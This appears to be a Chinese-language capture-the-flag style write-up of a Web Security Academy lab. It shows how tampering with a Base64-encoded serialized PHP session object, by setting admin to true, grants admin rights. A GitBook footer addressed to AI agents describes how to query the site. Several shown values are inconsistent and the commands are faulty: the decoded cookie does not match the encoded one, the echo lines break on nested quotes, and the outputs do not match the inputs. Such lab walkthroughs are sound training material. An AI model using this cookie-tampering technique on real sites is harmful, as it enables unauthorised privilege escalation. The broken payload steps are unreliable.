> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/deserialization/editing-serialized-objects.md).

# 编辑序列化对象

### 修改序列化对象

本实验使用一种基于……的会话机制 **序列化** 并存在一个允许 **权限提升**. / 目标是修改存储在会话 Cookie 中的序列化对象以获取管理员权限，然后删除用户 **carlos**.

起始提供一个用户账户：

* **标识符**：wiener
* **密码**：peter

**初步观察**

身份验证后，会发送一个登录请求：

```http
POST /login HTTP/2
Host: 0a66003e03add3bb824ef63c001200c9.web-security-academy.net
Cookie: session=
Content-Length: 30

username=wiener&password=peter
```

服务器返回一个会话 Cookie：

```http
Set-Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30%3d;
```

**会话 Cookie 分析**

Cookie 的内容使用 Base64 编码。/ 解码后，你会得到一个序列化的 PHP 对象：

```bash
O:4:"User":2:{s:8:"username";s:6:"carlos";s:5:"admin";b:0;}
```

该对象包含：

* 用户名（`username`)
* 管理员权限标识（`admin`），定义于 `false` (`b:0`)

```http
echo "O:4:"User":2:{s:8:"username";s:6:"carlos";s:5:"admin";b:0;}" | base64 ; echo
```

将对象重新编码为 Base64：

```bash
Tzo0OlVzZXI6Mjp7czo4OnVzZXJuYW1lO3M6NjpjYXJsb3M7czo1OmFkbWluO2I6MDt9Cg==
```

<figure><img src="/files/254c2b683ada1e596200eb7d2b855f47169102ab" alt=""><figcaption></figcaption></figure>

**修改序列化对象**

对象可以在返回给服务器之前在客户端进行更改。

1. 将用户名更改为 **carlos**:
2. 通过传递来激活管理员权限 `admin` 更改为 `true`:

```bash
echo "O:4:"User":2:{s:8:"username";s:6:"carlos";s:5:"admin";b:1;}" | base64 ; echo
```

3. 将对象重新编码为 Base64：

```bash
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6ImNhcmxvcyI7czo1OiJhZG1pbiI7YjoxO30lM2Q=
```

**利用**

会话 Cookie 被替换为新的修改值。

<figure><img src="/files/569f1ae26c67e6f3edd90b2ea37181ef493aabb8" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/deserialization/editing-serialized-objects.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
